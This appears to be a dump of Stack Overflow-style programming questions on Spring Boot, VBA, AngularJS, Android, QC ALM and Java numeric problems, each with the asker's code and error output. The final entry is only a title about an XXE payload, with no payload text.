"POST": System.out.println("Type in the employee's ID"); Scanner scan = new Scanner(System.in); String newid = scan.nextLine(); System.out.println("Type in the employee's name"); String newname = scan.nextLine(); System.out.println("Type in the employee's description"); String newdesc = scan.nextLine(); postJsonEmployee(newid, newname, newdesc); break; } } } </code></pre> <p>EmployeeController.java</p> <pre><code>@RestController public class EmployeeController { @Autowired private EmployeeService employeeService; @RequestMapping(path = "/employees", produces = {MediaType.APPLICATION_JSON_VALUE, MediaType.APPLICATION_XML_VALUE}, consumes = {MediaType.APPLICATION_JSON_VALUE, MediaType.APPLICATION_XML_VALUE, MediaType.TEXT_PLAIN_VALUE}) public @ResponseBody HashMap&lt;String, Employee&gt; retrieveEmployees() { return employeeService.retrieveAllEmployees(); } @RequestMapping(path = "/employees/{employeeId}",produces = {MediaType.APPLICATION_JSON_VALUE, MediaType.APPLICATION_XML_VALUE}, consumes = {MediaType.APPLICATION_JSON_VALUE, MediaType.APPLICATION_XML_VALUE, MediaType.TEXT_PLAIN_VALUE}) public @ResponseBody Employee retrievebyId(@PathVariable String employeeId) { return employeeService.retrieveEmployee(employeeId); } @PostMapping(path="/employees", consumes = {MediaType.APPLICATION_JSON_VALUE, MediaType.APPLICATION_XML_VALUE}) public ResponseEntity&lt;Void&gt; registeremployee(@RequestBody Employee newemployee) { Employee employee = employeeService.addEmployee(newemployee.getId(),newemployee.getName(), newemployee.getDescription()); if (employee == null) return ResponseEntity.noContent().build(); URI location = ServletUriComponentsBuilder.fromCurrentRequest().path( "/{id}").buildAndExpand(employee.getId()).toUri(); return ResponseEntity.created(location).build(); } } </code></pre> <p>EmployeeService.java</p> <pre><code>@Component public class EmployeeService implements Serializable { static HashMap&lt;String, Employee&gt; employees = new HashMap&lt;&gt;(); static { //Initialize Data Team team1 = new Team("t1", "Java team", "Java Dev Team"); Employee Joe = new Employee("employee1", "Joe Smith","Human Resources"); Employee Bob = new Employee("employee2", "Bob Jones", "Developer"); employees.put("employee1", Joe); employees.put("employee2", Bob); } public HashMap&lt;String, Employee&gt; retrieveAllEmployees() { return employees; } public Employee retrieveEmployee(String employeeId) { return employees.get(employeeId); } //private SecureRandom random = new SecureRandom(); public Employee addEmployee(String id, String name, String description) { //String randomId = new BigInteger(130, random).toString(32); Employee employee = new Employee(id, name, description); employees.put(id, employee); return employee; } public HashMap&lt;String, Employee&gt; getEmployees(){ return employees; } public void setEmployees(HashMap&lt;String, Employee&gt; employees) { this.employees = employees; } } </code></pre> <p>Employee.java</p> <pre><code>@XmlRootElement public class Employee implements Serializable { private String id; private String name; private String description; // private List&lt;Team&gt; teams; public Employee() { } public Employee(String id, String name, String description) { this.id = id; this.name = name; this.description = description; // this.teams = teams; } @XmlAttribute public String getId() { return id; } public void setId(String id) { this.id = id; } @XmlElement public String getName() { return name; } public void setName(String name) { this.name = name; } @XmlElement public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } @Override public String toString() { return String.format("employee [id=%s, name=%s, description=%s]", id, name, description); } </code></pre> <p>pom.xml</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt; &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;parent&gt; &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt; &lt;artifactId&gt;spring-boot-starter-parent&lt;/artifactId&gt; &lt;version&gt;2.1.6.RELEASE&lt;/version&gt; &lt;relativePath/&gt; &lt;!-- lookup parent from repository --&gt; &lt;/parent&gt; &lt;groupId&gt;com.springboot&lt;/groupId&gt; &lt;artifactId&gt;employee-model&lt;/artifactId&gt; &lt;version&gt;0.0.1-SNAPSHOT&lt;/version&gt; &lt;name&gt;employee-model&lt;/name&gt; &lt;description&gt;Demo project for Spring Boot&lt;/description&gt; &lt;properties&gt; &lt;java.version&gt;1.8&lt;/java.version&gt; &lt;/properties&gt; &lt;dependencies&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt; &lt;artifactId&gt;spring-boot-starter-actuator&lt;/artifactId&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt; &lt;artifactId&gt;spring-boot-starter-web&lt;/artifactId&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt; &lt;artifactId&gt;spring-boot-devtools&lt;/artifactId&gt; &lt;scope&gt;runtime&lt;/scope&gt; &lt;optional&gt;true&lt;/optional&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt; &lt;artifactId&gt;spring-boot-starter-test&lt;/artifactId&gt; &lt;scope&gt;test&lt;/scope&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.glassfish.jaxb&lt;/groupId&gt; &lt;artifactId&gt;jaxb-runtime&lt;/artifactId&gt; &lt;version&gt;2.3.2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.codehaus.jackson&lt;/groupId&gt; &lt;artifactId&gt;jackson-mapper-asl&lt;/artifactId&gt; &lt;version&gt;1.9.13&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-webmvc&lt;/artifactId&gt; &lt;version&gt;5.1.9.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-core&lt;/artifactId&gt; &lt;version&gt;5.1.9.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;/dependencies&gt; &lt;build&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt; &lt;artifactId&gt;spring-boot-maven-plugin&lt;/artifactId&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;/build&gt; &lt;/project&gt; </code></pre> <p>Log</p> <pre><code>13:13:09.818 [main] DEBUG org.springframework.web.client.RestTemplate - HTTP GET http://localhost:8080/employees/ 13:13:09.831 [main] DEBUG org.springframework.web.client.RestTemplate - Accept=[text/plain, application/json, application/*+json, */*] 13:13:09.857 [main] DEBUG org.springframework.web.client.RestTemplate - Response 200 OK 13:13:09.859 [main] DEBUG org.springframework.web.client.RestTemplate - Reading to [java.lang.String] as "application/json;charset=UTF-8" {"employee1":{"id":"employee1","name":"Joe Smith","description":"Human Resources"},"employee2":{"id":"employee2","name":"Bob Jones","description":"Developer"}} </code></pre>
3
4,249
Run-time error '1004' in a If else statement program
<p>I am trying to use two cells to determine which value to return back. The goal is to read in cell Z3 to determine which height to use, then cell AA3 to determine which Class to use based off the value the height provided. Once the class is found i would like it to print to cell AB3 then repeat for the next row and so on.</p> <p>I am currently getting a Run Time error 1004. I am not sure what is causing this I looked it up and said it could be cause by an empty variable but I am not seeing it. Any help would be great thanks!</p> <p>This is for a small project at work I am not great at VBA and just wanted to try and make a task easier and not take as long. </p> <pre><code> Private Sub CRIC_CLASS_Click() Dim POLES As Worksheet Dim cell_value As String ' Length Dim cell_value2 As String ' MPCRIC Dim i As Integer ' first intger for for loop Dim Class As String ' Stores class value to return Dim Row As Integer Set POLES = ActiveSheet For i = 3 To 500 cell_value = POLES.Cells(i, "Z").Value cell_value2 = POLES.Cells(i, "AA").Value If cell_value = 50 Then Row = 7 ElseIf cell_value = 55 Then Row = 8 ElseIf cell_value = 60 Then Row = 9 ElseIf cell_value = 65 Then Row = 10 ElseIf cell_value = 70 Then Row = 11 ElseIf cell_value = 75 Then Row = 12 ElseIf cell_value = 80 Then Row = 13 ElseIf cell_value = 85 Then Row = 14 ElseIf cell_value = 90 Then Row = 15 ElseIf cell_value = 95 Then Row = 16 ElseIf cell_value = 100 Then Row = 17 End If ' Check for height is 50 If Row = 7 And cell_value2 &lt;= 34 Then Class = 4 ElseIf cell_value2 &lt;= 36.5 Then Class = 3 ElseIf cell_value2 &lt;= 39.3 Then Class = 2 ElseIf cell_value2 &lt;= 42.1 Then Class = 1 ElseIf cell_value2 &lt;= 44.6 Then Class = H1 ElseIf cell_value2 &lt;= 47.4 Then Class = H2 Else: Class = NA End If ' Check for height is 55 If Row = 8 And cell_value2 &lt;= 35.4 Then Class = 4 ElseIf cell_value2 &lt;= 37.8 Then Class = 3 ElseIf cell_value2 &lt;= 40.7 Then Class = 2 ElseIf cell_value2 &lt;= 43.5 Then Class = 1 ElseIf cell_value2 &lt;= 46.4 Then Class = H1 ElseIf cell_value2 &lt;= 48.8 Then Class = H2 Else: Class = NA End If ' Check for height is 60 If Row = 9 And cell_value2 &lt;= 36.3 Then Class = 4 ElseIf cell_value2 &lt;= 39.2 Then Class = 3 ElseIf cell_value2 &lt;= 42 Then Class = 2 ElseIf cell_value2 &lt;= 44.9 Then Class = 1 ElseIf cell_value2 &lt;= 47.7 Then Class = H1 ElseIf cell_value2 &lt;= 50.6 Then Class = H2 Else: Class = NA End If ' Check for height is 65 If Row = 10 And cell_value2 &lt;= 37.7 Then Class = 4 ElseIf cell_value2 &lt;= 40.5 Then Class = 3 ElseIf cell_value2 &lt;= 43.4 Then Class = 2 ElseIf cell_value2 &lt;= 46.3 Then Class = 1 ElseIf cell_value2 &lt;= 49.1 Then Class = H1 ElseIf cell_value2 &lt;= 52 Then Class = H2 Else: Class = NA End If ' Check for height is 70 If Row = 11 And cell_value2 &lt;= 38.6 Then Class = 4 ElseIf cell_value2 &lt;= 41.9 Then Class = 3 ElseIf cell_value2 &lt;= 44.8 Then Class = 2 ElseIf cell_value2 &lt;= 47.6 Then Class = 1 ElseIf cell_value2 &lt;= 50.5 Then Class = H1 ElseIf cell_value2 &lt;= 53.3 Then Class = H2 Else: Class = NA End If ' Check for height is 75 If Row = 12 And cell_value2 &lt;= 42.8 Then Class = 3 ElseIf cell_value2 &lt;= 45.7 Then Class = 2 ElseIf cell_value2 &lt;= 49 Then Class = 1 ElseIf cell_value2 &lt;= 51.9 Then Class = H1 ElseIf cell_value2 &lt;= 55.1 Then Class = H2 Else: Class = NA End If ' Check for height is 80 If Row = 13 And cell_value2 &lt;= 43.7568 Then Class = 3 ElseIf cell_value2 &lt;= 47.1 Then Class = 2 ElseIf cell_value2 &lt;= 50.4 Then Class = 1 ElseIf cell_value2 &lt;= 53.2 Then Class = H1 ElseIf cell_value2 &lt;= 56.1 Then Class = H2 Else: Class = NA End If ' Check for height is 85 If Row = 14 &amp; cell_value2 &lt;= 44.6772 Then Class = 3 ElseIf cell_value2 &lt;= 47.9778 Then Class = 2 ElseIf cell_value2 &lt;= 51.2785 Then Class = 1 ElseIf cell_value2 &lt;= 54.5791 Then Class = H1 ElseIf cell_value2 &lt;= 57.4462 Then Class = H2 Else: Class = NA End If ' Check for height is 90 If Row = 15 And cell_value2 &lt;= 45.5952 Then Class = 3 ElseIf cell_value2 &lt;= 49.3333 Then Class = 2 ElseIf cell_value2 &lt;= 52.2024 Then Class = 1 ElseIf cell_value2 &lt;= 55.506 Then Class = H1 ElseIf cell_value2 &lt;= 58.8095 Then Class = H2 Else: Class = NA End If ' Check for height is 95 If Row = 16 And cell_value2 &lt;= 50.4157 Then Class = 2 ElseIf cell_value2 &lt;= 53.2921 Then Class = 1 ElseIf cell_value2 &lt;= 57.0449 Then Class = H1 ElseIf cell_value2 &lt;= 60.3596 Then Class = H2 Else: Class = NA End If ' Check for height is 100 If Row = 16 And cell_value2 &lt;= 51.4894 Then Class = 2 ElseIf cell_value2 &lt;= 54.8138 Then Class = 1 ElseIf cell_value2 &lt;= 58.1383 Then Class = H1 ElseIf cell_value2 &lt;= 61.4628 Then Class = H2 Else: Class = NA End If Cells(i, "AB").Value = Class Next i End Sub </code></pre>
3
4,722
Spring: JUnit tests with session scope: Unsatisfied dependency expressed through field 'sessionTestBean'
<p>I tried to follow the guidelines at <a href="https://tarunsapra.wordpress.com/2011/06/28/junit-spring-session-and-request-scope-beans/" rel="nofollow noreferrer">https://tarunsapra.wordpress.com/2011/06/28/junit-spring-session-and-request-scope-beans/</a> or <a href="https://touk.pl/blog/2011/04/15/how-to-test-spring-session-scoped-beans/" rel="nofollow noreferrer">https://touk.pl/blog/2011/04/15/how-to-test-spring-session-scoped-beans/</a> . However, I cannot get my session beans autowired in a JUnit4 test.</p> <p>Maybe it is just some stupid error, however I cannot find it.</p> <p>I use spring-test 4.3.22.RELEASE (together with various other spring-libraries) and junit-4.12.jar</p> <p>Here is my trivial example (tested in eclipse Oxygen.3a Release (4.7.3a))</p> <p>TrivialSessionTest.java</p> <pre><code>package demo; import org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.ComponentScan; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; @RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration(locations = { "classpath:spring/trivialApplicationContextForSessions.xml" }) @ComponentScan("demo") public class TrivialSessionTests { @Autowired protected SessionTestBean sessionTestBean; @Test public void testLogin() { Assert.assertEquals("Hello World", sessionTestBean.getSomething()); } } </code></pre> <p>SessionTestBean.java</p> <pre><code>package demo; import org.springframework.context.annotation.Scope; import org.springframework.context.annotation.ScopedProxyMode; import org.springframework.stereotype.Component; @Component @Scope(value="session", proxyMode=ScopedProxyMode.TARGET_CLASS) public class SessionTestBean { public SessionTestBean() {} public String getSomething() { return "Hello World"; } } </code></pre> <p>spring/trivialApplicationContextForSessions.xml </p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.3.xsd"&gt; &lt;bean id="sessionScopeConfigurer" class="org.springframework.beans.factory.config.CustomScopeConfigurer"&gt; &lt;property name="scopes"&gt; &lt;map&gt; &lt;entry key="session"&gt; &lt;bean class="org.springframework.context.support.SimpleThreadScope" /&gt; &lt;/entry&gt; &lt;entry key="request"&gt; &lt;bean class="org.springframework.web.context.request.RequestScope" /&gt; &lt;/entry&gt; &lt;/map&gt; &lt;/property&gt; &lt;/bean&gt; &lt;/beans&gt; </code></pre> <p>Running the test results in</p> <pre><code>[main] ERROR org.springframework.test.context.TestContextManager - Caught exception while allowing TestExecutionListener [org.springframework.test.context.support.DependencyInjectionTestExecutionListener@73e132e0] to prepare test instance [demo.TrivialSessionTests@3773862a] org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'demo.TrivialSessionTests': Unsatisfied dependency expressed through field 'sessionTestBean'; nested exception is org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type 'demo.SessionTestBean' available: expected at least 1 bean which qualifies as autowire candidate. Dependency annotations: {@org.springframework.beans.factory.annotation.Autowired(required=true)} </code></pre>
3
1,356
I am using Interop.TDAPIOLELib.dll for QC ALM Integration But taking too much time for getting All Test Plan Tree Structure
<p>I am using <strong>Interop.TDAPIOLELib.dll</strong> for <strong>QC ALM 12</strong> Integration and installed QcConnector.exe from tool link from QC ALM 12 on my 32 bit window machine.</p> <p>I want to fetch all TestPlan with parent folder hierarchy . But its take too much time around <strong>75 artifact of QC ALM</strong> (included Test Plan and Folder) taking <strong>1 minute 50 seconds</strong>.</p> <pre><code> Private Sub LoadQCTree() Dim rootNode As Object = Nothing _treeManager = CType(_qcConnection.TreeManager, TreeManager) Dim rootList As TDAPIOLELib.List = _treeManager.RootList Dim rNode = rootList.Item(1) rootNode = _treeManager.TreeRoot(rNode) Dim FolderList As List = rootNode.NewList() 'Read sub node hierarchy... RecurseTree(CType(FolderList, List)) ReadChildTestCases(rootNode) End Sub Private Sub RecurseTree(ByVal SubNodes As TDAPIOLELib.List) For Each itm As SysTreeNode In SubNodes Dim Description = CStr(itm.Description).Trim If Not Description = "" Then Description = ConvertPlain(Description).Trim AddNodeEntry(itm.Name, CStr(itm.NodeID), CStr(itm.Father.NodeID), "Folder", Description, Now, Now, "TestCase", "folder") Dim children = itm.NewList RecurseTree(CType(children, List)) ReadChildTestCases(itm) Next End Sub Private Sub ReadChildTestCases(ByVal itm As SysTreeNode) Dim testFilter As TDFilter = CType(_testFactory.Filter, TDFilter) testFilter.Filter("TS_SUBJECT") = Chr(34) &amp; itm.Path &amp; Chr(34) Dim TestList As List = _testFactory.NewList(testFilter.Text) For Each test As Test In TestList Try Dim description As String = Convert.ToString(test.Field("TS_DESCRIPTION")).Trim If Not description = "" Then description = ConvertPlain(description).Trim Dim modifiedOn As Date = CDate(test.Field("TS_VTS")) Dim CreationDate As Date = CDate(test.Field("TS_CREATION_DATE")) modifiedOn = Date.SpecifyKind(modifiedOn, DateTimeKind.Local) CreationDate = Date.SpecifyKind(CreationDate, DateTimeKind.Local) Dim BaseId = test.Field("TS_BASE_TEST_ID") Dim type = test.Field("TS_TYPE") AddNodeEntry(test.Name, CStr(test.ID), CStr(itm.NodeID), "File", description, modifiedOn, CreationDate, "TestCase", type) Catch ex As Exception 'Do nothing.. 'Current node will skip from the tree hierarchy End Try Next End Sub </code></pre> <p>And also want to Fetch Requirements with folder hierarchy but its also taking to much time.</p> <p>So , I'll try to improve performance using thread .</p> <p>Thread 1 : Load all Test Plan</p> <p>Thread 2 : Load all Requirement</p> <p>and run parallel but i think is not supported parallel request. Because when i fetch requirement it takes <strong>40 second (for 30 requirements)</strong> but fetch both parallel taking <strong>1 minute 15 second</strong> for only requirements .</p> <p>Please Help me to find out the way to how improve performance .</p> <p>It is possible to get all test plan tree structure in one call. </p> <p>Thanks </p>
3
1,184
Issue - AngularJS Uncaught Error: [$injector:modulerr]
<p>Am completely new to AngularJS. So am trying the flow of sample application before I start the development of a new app in my project. Below is what I have tried.</p> <p><strong>index.html</strong></p> <pre><code>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;html ng-app="app"&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt; &lt;title&gt;Insert title here&lt;/title&gt; &lt;script src="lib/angular.min.js"&gt;&lt;/script&gt; &lt;script src="lib/angular-route.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src = "js/app.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Student Registration!&lt;/h1&gt; &lt;div ng-view&gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p><strong>registerStudent.html</strong></p> <pre><code>&lt;table&gt; &lt;tr&gt; &lt;td&gt;&lt;input type="button" value="Save" ng-click="save()"&gt;&lt;/td&gt; &lt;td&gt;{{message}}&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre> <p><strong>app.js</strong></p> <pre><code>var app = angular.module("app", ['ngRoute', 'app.services', 'app.controllers']); /**routing*/ app.config(['$routeProvider', function($routeProvider){ $routeProvider.when('/editStudent', { templateUrl:'html/editStudent.html', controller:'studentReg' }); $routeProvider.when('/viewStudent', { templateUrl:'html/viewStudent.html', controller:'studentReg' }); $routeProvider.when('/registerStudent', { templateUrl:'html/registerStudent.html', controller:'studentReg' }); $routeProvider.otherwise({ redirectTo: '/registerStudent' }); }]); </code></pre> <p><strong>services.js</strong></p> <pre><code>var app = angular.module('app.services', []); app.service('restService', function(){ this.save=function(){ return 'saved'; }; }); </code></pre> <p><strong>controller.js</strong></p> <pre><code>var app = angular.module('app.controllers', []); app.controller('studentReg', function($scope, restService){ $scope.result=restService.save(); $scope.save=function(){ console.log($scope.result); $scope.message=$scope.result; }; }); </code></pre> <p>When I tried to run the application, I got the below error.</p> <pre><code>Uncaught Error: [$injector:modulerr] http://errors.angularjs.org/1.5.0-rc.1/$injector/modulerr?p0=app&amp;p1=Error%3…2Flocalhost%3A8080%2FEnhancedStudentform%2Flib%2Fangular.min.js%3A20%3A421) </code></pre>
3
1,035
How to get checked event of Listview in ListFragment
<p>I have a JSONArray which adds data to <code>list = new ArrayList&lt;HashMap&lt;String, String&gt;&gt;();</code></p> <p>The list display is working fine. Data is received and displayed perfectly.</p> <p>But when I add a checkbox for it, the checkbox wont work. I checked some tutorials all have used ListFragment but its not working in mine.</p> <p>code: </p> <pre><code> @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { rootView = inflater.inflate(R.layout.fragment_list, container, false); // Hashmap for ListView list = new ArrayList&lt;HashMap&lt;String, String&gt;&gt;(); listview = (ListView) rootView.findViewById( R.id.list ); // When item is tapped, toggle checked properties of CheckBox and Planet. listview .setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick( AdapterView&lt;?&gt; parent, View item, int position, long id) { ....... } }); return rootView; } class LoadMatches extends AsyncTask&lt;String, String, String&gt; { @Override protected void onPreExecute() { super.onPreExecute(); pDialog = new ProgressDialog(getActivity()); pDialog.setMessage("Loading Matches.."); pDialog.setIndeterminate(false); pDialog.setCancelable(false); pDialog.show(); } @Override protected String doInBackground(String... arg0) { new ArrayList&lt;NameValuePair&gt;(); new DefaultHttpClient(new BasicHttpParams()); DefaultHttpClient defaultClient = new DefaultHttpClient(); // Setup the get request HttpGet httpGetRequest = new HttpGet(URL_MATCHES); try{ // Execute the request in the client HttpResponse httpResponse = defaultClient.execute(httpGetRequest); // Grab the response BufferedReader reader = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent(), "UTF-8")); json = reader.readLine(); }catch(Exception e){ Log.d("Error in JSON",e.toString()); } try { istArray= new JSONArray(json); if (matches != null) { // looping through All albums for (int i = 0; i &lt; listArray.length(); i++) { JSONObject c = istArray.getJSONObject(i); // Storing each json item values in variable id = c.getString(TAG_ID); schname = c.getString(TAG_SCHNAME); place= c.getString(TAG_PLACE); datetime = c.getString(TAG_DATETIME); // creating new HashMap HashMap&lt;String, String&gt; map = new HashMap&lt;String, String&gt;(); // adding each child node to HashMap key =&gt; value map.put(TAG_ID, id); map.put(TAG_SCHNAME, schname); map.put(TAG_PLACE, place); map.put(TAG_DATETIME, datetime); // adding HashList to ArrayList list.add(map); } }else{ Log.d("Matches: ", "null"); } } catch (JSONException e) { e.printStackTrace(); } return null; } @Override protected void onPostExecute(String file_url) { // dismiss the dialog after getting all albums pDialog.dismiss(); // updating UI from Background Thread getActivity().runOnUiThread(new Runnable() { @Override public void run() { /** * Updating parsed JSON data into ListView * */ ListAdapter adapter = new SimpleAdapter( getActivity(), list R.layout.s_list, new String[] { TAG_ID, TAG_SCHNAME, TAG_PLACE, TAG_DATETIME, }, new int[] { R.id.list_id, R.id.schname, R.id.place, R.id.datetime }); // updating listview list.setAdapter(adapter); } }); } } } </code></pre> <p>The list layout</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:background="@drawable/bg"&gt; &lt;ListView android:id="@+id/list" android:layout_width="fill_parent" android:layout_height="match_parent" android:layout_alignParentTop="true" android:layout_marginTop="40dp" android:layout_marginLeft="10dp" android:layout_marginRight="10dp" android:background="@color/white_overlay_list" android:divider="@color/lists_divider" android:dividerHeight="1dp" android:paddingLeft="5dp" android:paddingRight="5dp" android:paddingTop="0dp" /&gt; &lt;/RelativeLayout&gt; </code></pre> <p>Single list layout </p> <pre><code>&lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="wrap_content" android:orientation="vertical"&gt; &lt;!-- Album id / Hidden by default --&gt; &lt;TextView android:id="@+id/list_id" android:layout_width="fill_parent" android:layout_height="wrap_content" android:visibility="gone" /&gt; &lt;TextView android:id="@+id/schname" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentLeft="true" android:layout_alignParentTop="true" ndroid:layout_marginLeft="20dp" android:layout_marginTop="35dp" android:gravity="left" android:textColor="@color/black_font_color" android:textAppearance="?android:attr/textAppearanceMedium" /&gt; &lt;TextView android:id="@+id/datetime" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="10dp" android:textColor="@color/black_font_color" android:textAppearance="?android:attr/textAppearanceMedium" /&gt; &lt;TextView android:id="@place android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignLeft="@+id/datetime" android:layout_below="@+id/datetime" android:layout_marginTop="5dp" android:layout_marginBottom="15dp" android:textColor="@color/black_font_color" android:textAppearance="?android:attr/textAppearanceMedium" /&gt; &lt;CheckBox android:id="@+id/checkBox" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentBottom="true" android:layout_alignParentRight="true" android:text="CheckBox" /&gt; &lt;/RelativeLayout&gt; </code></pre>
3
4,154
Calculate Dice Roll from Text Field
<p>QUESTION: How can I read the string "d6+2-d4" so that each d# will randomly generate a number within the parameter of the dice roll?</p> <p>CLARIFIER: I want to read a string and have it so when a d# appears, it will randomly generate a number such as to simulate a dice roll. Then, add up all the rolls and numbers to get a total. Much like how Roll20 does with their /roll command for an example. <code>If !clarifying {lstThen.add("look at the Roll20 and play with the /roll command to understand it")} else if !understandStill {lstThen.add("I do not know what to say, someone else could try explaining it better...")}</code></p> <p>Info: I was making a Java program for Dungeons and Dragons, only to find that I have come across a problem in figuring out how to calculate the user input: I do not know how to evaluate a string such as this.</p> <p>I theorize that I may need Java's <code>eval</code> at the end. I do know what I want to happen/have a theory on how to execute (this is more so <strong>PseudoCode</strong> than Java):</p> <pre><code>Random rand = new Random(); int i = 0; String toEval; String char; String roll = txtField.getText(); while (i&lt;roll.length) { check if character at i position is a d, then highlight the numbers after d until it comes to a special character/!aNumber // so if d was found before 100, it will then highlight 100 and stop // if the character is a symbol or the end of the string if d appears { char = rand.nextInt(#); i + #'s of places; // so when i++ occurs, it will move past whatever d# was in case // d# was something like d100, d12, or d5291 } else { char = roll.length[i]; } toEval = toEval + char; i++; } perform evaluation method on toEval to get a resulting number list.add(roll + " = " + evaluated toEval); </code></pre> <p>EDIT: With weston's help, I have honed in on what is likely needed, using a splitter with an array, it can detect certain symbols and add it into a list. However, it is my fault for not clarifying on what else was needed. The pseudocode above doesn't helpfully so this is what else I need to figure out.</p> <pre><code>roll.split("(+-/*^)"); </code></pre> <p>As this part is what is also tripping me up. Should I make splits where there are numbers too? So an equation like:</p> <pre><code>String[] numbers = roll.split("(+-/*^)"); String[] symbols = roll.split("1234567890d") // Rough idea for long way loop statement { loop to check for parentheses { set operation to be done first } if symbol { loop for symbol check { perform operations }}} // ending this since it looks like a bad way to do it... // Better idea, originally thought up today (5/11/15) int val[]; int re = 1; loop { if (list[i].containsIgnoreCase(d)) { val[]=list[i].splitIgnoreCase("d"); list[i] = 0; while (re &lt;= val[0]) { list[i] = list[i] + (rand.nextInt(val[1]) + 1); re++; } } } // then create a string out of list[]/numbers[] and put together with // symbols[] and use Java's evaluator for the String </code></pre> <p>wenton had it, it just seemed like it wasn't doing it for me (until I realised I wasn't specific on what I wanted) so basically to update, the string I want evaluated is (I know it's a little unorthodox, but it's to make a point; I also hope this clarifies even further of what is needed to make it work):</p> <p><strong>(3d12^d2-2)+d4(2*d4/d2)</strong></p> <p>From reading this, you may see the spots that I do not know how to perform very well... But that is why I am asking all you lovely, smart programmers out there! I hope I asked this clearly enough and thank you for your time :3</p>
3
1,264
12 month moving average from Java array
<p>i have tried to use this code to calculate 12 month moving average. i have the data below the third column is the value i would like to calculate the average on .<br> the problem with this code is that it outputs the moving average as the values converted to double</p> <pre><code>//a is an object of the larger class //x is the collection of values to be averaged public int bars = 1; double[] movavg = new double[x.length - bars]; // int k = 0; try { for (int i = a.bars - 1; i &lt; a.x.length - 1; i++) // for each bar { a.movavg[a.k] = 0.0; for (int j = 0; j &lt; a.bars; j++) // sum over 'bars' previous input values { a.movavg[a.k] += a.x[i - j]; } double k = a.movavg[a.k++] /= a.bars; // divide by number of bars System.out.println(i + " " + k + " " + a.avgNumerator[i]); } } catch (ArrayIndexOutOfBoundsException e) { e.printStackTrace(); } } </code></pre> <hr> <pre><code>year month value_for_moving_average 2011 1 21333333 2011 2 13500000 2011 3 17285714 2011 4 15500000 2011 5 15800000 2011 6 15900000 2011 7 15875000 2011 8 15600000 2011 9 17666666 2011 10 20000000 2011 11 15958333 2011 12 21583333 2012 1 21519230 2012 2 25450000 2012 3 21400000 2012 4 34166666 2012 5 27928571 2012 6 29250000 2012 7 17550000 2012 8 19111111 2012 9 18200000 2012 10 15181818 2012 11 14455555 2012 12 16900000 2013 1 13500000 2013 2 13600000 2013 3 12812500 </code></pre> <p>the result should be this </p> <pre><code>moving_average 15,868,750 16,446,875 17,228,571 17,098,113 17,056,140 17,512,727 15,891,379 16,056,923 16,188,571 16,515,385 16,270,833 16,671,053 17,241,279 18,296,196 18,547,222 19,431,548 20,334,302 21,014,706 21,089,080 21,520,349 21,408,333 20,737,500 20,745,876 20,493,229 19,597,849 18,323,656 17,704,167 </code></pre> <p>but the output am gettin is this</p> <pre><code>2.1333333E7 1.35E7 1.7285714E7 1.55E7 1.58E7 1.59E7 1.5875E7 1.56E7 1.7666666E7 2.0E7 1.5958333E7 2.1583333E7 2.151923E7 2.545E7 2.14E7 3.4166666E7 2.7928571E7 2.925E7 1.755E7 1.9111111E7 1.82E7 1.5181818E7 1.4455555E7 1.69E7 1.35E7 1.36E7 </code></pre> <p>its like the code is output the same values but converted to double</p>
3
1,138
My XXE payload get no response about the file I want to exploit
